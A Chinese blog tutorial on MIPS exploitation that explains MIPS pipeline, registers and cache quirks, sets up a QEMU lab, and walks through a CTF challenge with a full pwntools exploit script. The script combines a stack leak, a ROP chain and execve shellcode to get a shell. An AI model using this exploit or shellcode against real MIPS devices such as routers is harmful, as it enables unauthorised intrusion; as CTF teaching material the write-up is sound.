MIPS PWN 入门

MIPS是一种采取精简指令集(RISC)的指令集架构,突出特点是高性能,广泛被使用在许多电子产品、网络设备、个人娱乐设备与商业设备上,在路由器领域也被广泛应用。虽然今年MIPS所属公司已经宣布放弃对该架构继续进行研发设计,但是其作为x86、arm之后的第三大CPU架构阵营,现在市面上仍有大量的MIPS架构的产品,尤其是路由器芯片。此外,MIPS在学术界也非常受到追捧,很多超算竞赛冠军的设计方案都是MIPS的。就目前来看,MIPS的安全研究还是相对较为有意义的。

MIPS架构基础知识

常用汇编与流水线操作 在MIPS PWN中所常用到的汇编指令如下表所示:

image.png

MIPS架构为精简指令集, 常见的MIPS芯片流水线操作为五级, 如下图

wiki-Fivestagespipeline.png

其中IF =指令提取,ID =指令解码,EX =执行,MEM =存储器访问,WB =寄存器写回. 垂直轴是连续的指令: 横轴是时间. 在图示的情况中,最早的指令处于WB阶段,而最新的指令正在进行指令提取. 对于跳转/分支指令, 当其到达执行阶段且新的程序计数器已经产生时, 紧随其后的下一条指令实际上已经开始执行了. MIPS 规定分支之后的指令总是在分支目标指令之前执行,紧随分支指令之后的位置称为 分支延迟槽. 在没有任何可用操作时,延迟槽将填充空指令(nop)占位. 例如下面这段MIPS汇编代码中,
“`move $a0, $s1“`会在“`jalr“`跳转前执行

.text:0007F944                 move    $t9, $s0
.text:0007F948                 jalr    $t9              
.text:0007F94C                 move    $a0, $s1

这个特性在我们查找gadgets和构造payload的时候要多注意, 这也是MIPS上的PWN相比x86架构来说较为特殊的点之一.

寄存器与调用约定 常用的MIPS寄存器作用如下:

  • “`\$a0“` – “`\$a3“`:函数调用时的参数传递,若参数超过 4 个,则多余的使用堆栈传递
  • “`\$t0“`-“`\$t7“`:临时寄存器
  • “`\$s0“` – “`\$s7“`:保存寄存器,使用时需将用到的寄存器保存到堆栈
  • “`\$gp“`:全局指针,用于取数据(32K访问内);“`\$sp“`:栈指针,指向栈顶
  • “`\$fp“`:栈帧指针;“`\$ra“`:存储返回地址

MIPS的调用约定为被调用者实现堆栈平衡, 参数 1 ~ 4 分别保存在
“`\$a0“` ~ “`\$a3“` 寄存器中,剩下的参数从右往左依次入栈. MIPS的栈布局如下图所示, 某寄存器在堆栈中的位置不是确定的, 例如“`\$ra“`在某函数栈中的偏移是“`\$sp“`+N, 而在另一函数栈中的偏移是“`\$sp“`+M.

image.png

当CPU执行跳转到被调用函数后, 被调用函数将会开辟新的栈帧, 根据本函数内是否还有其他函数调用决定是否将
“`\$ra“` 入栈, 再将“`\$sp“` 入栈. 对于“`\$ra“`, 当本函数为叶子函数(函数内无其他函数调用), 则“`\$ra“`不入栈, 否则将“`\$ra“`入栈. 对于栈溢出攻击而言, 当函数为非叶子函数时, 可以直接通过覆盖栈上的“`\$ra“`来劫持控制流.

缓存非一致性

MIPS架构默认没有打开堆栈不可执行保护(NX), 因此最常用的攻击方法是控制代码执行shellcode. 但是, MIPS CPU大部分采用指令和数据各自拥有一个独立的cache的方案(分别称为 Icache 和 Dcache),如下图所示. 处理器只能执行 Icache 中的指令,只能看到 Dcache 中的数据, 而不能执行 DCache 中的指令,也不能编程读写 ICache 中的指令. 因此, 写入的shellcode会暂时存在Dcache内, 无法得到执行.

image.png

为了解决该问题, 需要将Dcache中的数据写回内存, 并让Icache中的指令失效. 为了达成这两个目标, 常用的做法是通过ROP调用
“`sleep“`函数让程序休眠一段时间, 这也是为什么MIPS没有NX我们还是需要ROP的原因.

QEMU MIPS 环境搭建

MIPS, ARM之类架构的程序无法在我们主流的PC上运行, 为了进行分析需要使用模拟器进行仿真, 常用的模拟工具有QEMU, Unicorn, Qiling框架等. 在这里我们选择QEMU进行系统级模拟, 方便我们后面使用存在getshell漏洞的binary进行案例分析. 关于QEMU的安装,运行和基本配置,个人认为ArchWiki的讲解是最好的,地址 https://wiki.archlinux.org/title/QEMU

在启动QEMU之前我们首先要给虚拟机配置好网络。这一步通常来说有点麻烦,特别是使用ssh在远程linux上配置的时候,操作不当可能会导致远程主机直接断网。这里讲一种我比较喜欢的简单配置方法,就是利用docker的网桥docker0。docker0是一个安装docker时自动配置好的网桥,而且可以使用宿主机的网络上网,不需要我们额外配置。我们只需要在主机上创建tap0接口,然后将tap0挂到docker0上,此时虚拟机便可通过tap0上网。运行以下命令创建tap0并将其挂到docker0网桥上:

sudo tunctl -t tap0
sudo ifconfig tap0 up
sudo brctl addif docker0 tap0

查看结果:

(base) qsp@sc-ThinkPad-T14-Gen-1:~/emu/mips$ brctl show
bridge name     bridge id               STP enabled     interfaces
br-8e055548d5cb         8000.0242eacabe5a       no              veth1fb93b1
                                                        veth2f66454
                                                        vethfbd84f9
br-ef7a75a24ac7         8000.02427882e229       no              vethca9ed05
docker0         8000.0242835bf8c6       no              tap0
lxcbr0          8000.00163e000000       no

可以看到此时tap0已经挂到docker0上了, 接下来我们在QEMU虚拟机启动参数中加入
“`-netdev tap,id=tapnet,ifname=tap0,script=no -device rtl8139,netdev=tapnet“`, 虚拟机就可以利用tap0上网了.

在这里我们模拟时直接用网上公开的编译好的MIPS架构debian发行版系统镜像,下载地址 https://people.debian.org/~jcowgill/qemu-mips/ ,这里下载的时候注意系统版本的选择,带有
“`el“`后缀的是小端序版本,不带的是大端序版本。由于64位系统可以兼容32位的程序,我们直接使用64位版本的系统就可以了。

以64位小端序debian 9 (stretch) 系统为例,总共需要下载的有3个文件: Linux内核
“`vmlinux-4.9.0-4-5kc-malta.mipsel.stretch“`, ramdisk映像“`initrd.img-4.9.0-4-5kc-malta.mipsel.stretch“`, 磁盘映像“`debian-stretch-mipsel.qcow2“`, 启动qemu的参数如下

sudo qemu-system-mips64el \
  -M malta \
  -cpu MIPS64R2-generic \
  -m 2G \
  -kernel vmlinux-4.9.0-4-5kc-malta.mipsel.stretch \
  -initrd initrd.img-4.9.0-4-5kc-malta.mipsel.stretch \
  -append 'root=/dev/vda console=ttyS0 mem=2048m nokaslr' \
  -netdev tap,id=tapnet,ifname=tap0,script=no \
  -device rtl8139,netdev=tapnet \
  -drive file=debian-stretch-mipsel.qcow2,if=virtio \
  -nographic 

上面命令的意义是使用系统镜像
“`vmlinux-4.9.0-4-5kc-malta.mipsel.stretch“` 和启动加载文件 “`initrd.img-4.9.0-4-5kc-malta.mipsel.stretch“` , 指定磁盘镜像为“`debian-stretch-mipsel.qcow2“`, 网络接口为“`tap0“`,分配“`2G“`内存, 模拟的硬件为“`Malta“`, 终端为“`ttyS0“`(也就是当前的终端), 根文件系统“`root=/dev/vda“`. 更详尽的启动参数说明可以参考[https://qemu-project.gitlab.io/qemu/system/target-mips.html](https://qemu-project.gitlab.io/qemu/system/target-mips.html).

运行上面的命令, 屏幕会输出一大段QEMU运行启动的log, 等待一段时间 (如果没有报错的话= =), 会出现debian的登录提示:

image.png

默认用户名和登录密码都是root, 直接登录就可以了.

此时虚拟机仍然不能上网, 还要在虚拟机内部配置网络. 首先需要为网卡配置ip, 使用ip命令可以发现本地网卡名称 (我的测试机中为
“`enp0s19“`) , 我们手动将“`/etc/network/interfaces“`中的“`eth0“`改为“`enp0s19“`, 然后使用“`service networking restart“`命令重启网络. 网络重启之后, 使用命令“`ip addr add 172.17.0.19/24 dev enp0s19“` 为enp0s19分配ipv4地址 (这里的地址要跟宿主机上docker0网桥的地址处在同一个子网), 再使用 “`ip route add default via 172.17.0.1 dev enp0s19“` 添加默认网关为外部网桥的ip (即宿主机docker0网桥的ip). 分配过ip并添加默认网关后虚拟机就可以正常联网了, 如果需要域名解析还需要编辑 “`/etc/resolv.conf“` 文件手动添加DNS服务器, 如“`8.8.8.8“`.

image.png

至此我们的MIPS虚拟机就配置完成了.

例题分析

OK talk is cheap, 这里用一个简单的CTF题目来讲解一下MIPS PWN的基本操作和思路. 题目: Mplogin (Google网盘, 下载需要科学上网).

配置运行MIPS程序


“`QEMU“`里启动“`ssh“`服务, 然后在宿主机上使用“`scp“`将“`Mplogin“`文件夹传输到QEMU虚拟机上. 初次运行“`Mplogin“`发现报错没有该文件, 发现是系统的“`lib/“`下没有“`Mplogin“`运行所需要的/lib/ld-uClibc.so.0所致, 手动指定“`LD\_LIBRARY\_PATH=/root/Mplogin/lib“`并使用“`chmod +x“`赋予可执行权限之后成功运行该二进制文件, 说明模拟运行成功:

image.png

漏洞分析

静态分析 先checksec一下, 保护全关:

image.png

使用IDA Pro加载
“`Mplogin“`进行静态分析, 找到“`main“`函数, 反汇编后发现其主要内容为调用两个子函数“`sub\_400840“`和 “`sub\_400978“`, 其中“`sub\_400840“`的返回值将作为参数传递给“`sub\_400978“`:

image.png

函数
“`sub\_400840“`反汇编代码如下图所示, 可以发现其调用了“`read“`函数从标准输入(stdin, fd为0)中读入最长“`24“`个字符, 放置到栈上的变量“`v1“`中, 并在下一步检查其前“`5“`个字符是否为“`admin“`, 如果是的话将“`v1“`再打印到标准输出中. 由于read没有对字符结尾进行特殊处理, 且后续判定只比较了前5个字符, 则攻击者可以构造长度恰好为24的以“`admin“`开头的输入. 由MIPS函数调用栈帧可知, 此时以“`v1“`起始的字符串覆盖了从“`v1“`到上层函数的栈指针所存储的位置之间的所有内存空间, 此时函数末尾的打印函数将会把从“`v1“`开始直到“`’\0’“`结束的所有内存数据全部打印出来, 因此借由此处栈溢出可以获取到函数运行的栈地址, 这使得我们可以确定“`shellcode“`写入的位置, 从而可以使用“`gadgets“`跳转到“`shellcode“`起始处开始执行.

image.png

函数
“`sub\_400978“`反汇编代码如下图所示, 可以发现其先使用“`read“`从标准输入中读入了最多“`36“`个字符到栈上的数组“`v2“`中, 又读入了最多“`v3“`个字符到栈上的数组“`v4“`中. 由“`v2 v3 v4“`在栈上的排布和数组容量可知. 可以对“`v2“`构造长度大于“`20“`小于“`36“`的输入致使其栈溢出, 从而重写“`v3“`变量, 扩大之后的“`v4“`读入字符上限从而可以输入更多的字符造成栈溢出. 由于“`sub\_400978“`非叶子函数, 可以直接覆盖栈上的返回地址从而劫持控制流. 由前述对函数“`sub\_400840“`的分析可知, 栈地址的值是可以被获取到的, 而“`sub\_400978“`中输入的数据将被存储在距离返回地址“`40“`个字节的位置, 因此达成攻击只需计算得到“`shellcode“`所在的地址, 然后将程序执行劫持到该处即可.

由于MIPS架构的双cache机制, 为了达成攻击还需要通过
“`ROP“`调用“`sleep()“`使得“`shellcode“`写回内存, 从而成为可以执行的代码. 劫持程序执行流后的整个运行流程应为:

  1. 设置
    “`\$a0“`为一数字, 作为“`sleep()“`的参数
  2. 跳转到
    “`sleep()“`函数处运行
  3. 跳转到
    “`shellcode“`处执行

找ROP用的gadgets可以使用mipsrop.py这个IDA插件, 不过很多时候还是要自己手动找找, 例如函数的结尾之类的地方相对容易找到. 为了达成以上三步, 从Mplogin和libc.so.0中找到了如下两处gadgets:

image.png

image.png

两个gadgets拼接起来即可完成设置
“`sleep“`函数的参数参数, 调用“`sleep“`函数, 跳转“`shellcode“`这三步. 其中参数设置是两个gadgets相互配合完成的: 在第一个gadget中设置“`s1“`为栈上的可控数据“`1“`, 在第二个gadget中设置“`a0=s1“`.

动态分析 为使攻击成功, 需要获取
“`sleep“`函数和gadget2的地址, 也就是需要得到libc的“`offset“`. 对于MIPS架构而言, 通常情况下默认不开启ASLR, 因此无需通过ROP泄露libc地址, 直接使用gdb调试即可获取libc基址为“`0x77f2c000“`:

image.png

漏洞利用 总共三次交互然后getshell

  • 使用
    “`socat“`工具搭建攻击对象, 令“`Mplogin“`程序运行并监听在虚拟机的12346端口, “`socat tcp-l:12346,fork exec:./Mplogin“`
  • 第一次交互, 构造并发送长度共
    “`24“`的payload为“`”admin”+19*’A’“`, 接受返回的数据获取栈地址 “`stack\_addr“`:
    ![image.png](https://i.loli.net/2021/05/10/xl8GIgqZMyCLjtW.png)
  • 第二次交互, 构造并发送长度为
    “`20+4“`的payload为“`”access”+14*’A’+0x00000124“`. 其中“`0x124=36+256“`, 用来覆盖“`sub\_400978“`的变量“`v3“`, 从而扩大下一次交互所允许的payload长度.
  • 第三次交互, 由于在两个gadgets的最后都有使
    “`\$sp“`增加的操作(分别增加了“`0x30“`和“`0x38“`), 因此需要将shellcode放置在“`shellcode\_addr=(第一次交互泄露的栈地址+0x30+0x38) “`处, 同时payload也必须按照这两个距离填充. 经过计算得到payload应该构造为“`”0123456789″+30*’A’+gadget1+0x1C*’A’+sleep()+1+0x8*’A’+gadget2\\+0x34*’A’+shellcode\_address+shellcode“`. 发送payload之后便可得到目标虚拟机的shell:
    ![image.png](https://i.loli.net/2021/05/10/mLMeiudQWosV6Sh.png)

完整代码:

from pwn import *
import sys

qemu_path="/home/qsp/emu/qemu-6.0.0-rc2/build/"

if sys.argv[1]=="r":
    p = remote("172.17.0.19", 12346) # socat tcp-l:12346,fork exec:./Mplogin,reuseaddr;
elif sys.argv[1] == "l":
    p=process(["qemu-mipsel", "-L", "./lib", "Mplogin"])
elif sys.argv[1]=="a":
    p=process(["qemu-mipsel", "-L", "./lib", "Mplogin"])
else:
    p=process([qemu_path+"qemu-mipsel", "-g", "12346", "-L", "./lib", "Mplogin"])



# Step 1
admin_str=b'admin'
payload1=admin_str+b'A'*(24-len(admin_str))
input("DEBUG")
print(p.recvline())
p.send(payload1)
echo1=p.recvn(59)
print(echo1)
stack_addr=u32(echo1[-4:])
print("Stack address: "+hex(stack_addr))
print("1 done")


# Step 2
access_str=b'access'
payload2=access_str+b'A'*(20-len(access_str))+p32(36+256)
p.send(payload2)
echo2=p.recvuntil(b'Pre_Password : ')

# Step 3

shellcode=b"\x62\x69\x0c\x3c\x2f\x2f\x8c\x35\xf4\xff\xac\xaf\x73\x68\x0d\x3c\x6e\x2f\xad\x35\xf8\xff\xad\xaf\xfc\xff\xa0\xaf\xf4\xff\xa4\x67\xff\xff\x05\x28\xff\xff\x06\x28\xc1\x13\x02\x24\x0c\x01\x01\x01"
libc_base=0x77f2c000
sleep_addr=libc_base+0x0052EA0
dist1=40#main_ret_addr-buf_addr
dist2=0x30
dist3=0x38
gadget1=0x004007B8
gadget2=0x0007F944+libc_base #7F7B0944
shellcode_addr=stack_addr+dist2+dist3
passwd_str=b'0123456789'

payload3=passwd_str+b'A'*(dist1-len(passwd_str))+p32(gadget1)\
        +b'A'*(0x1C)+p32(sleep_addr)+p32(1)+b'A'*8+p32(gadget2)\
        +b'A'*(0x2C+8)+p32(shellcode_addr)\
        +shellcode

p.send(payload3)

p.interactive()

发表评论

您的电子邮箱地址不会被公开。 必填项已用*标注

此站点使用Akismet来减少垃圾评论。了解我们如何处理您的评论数据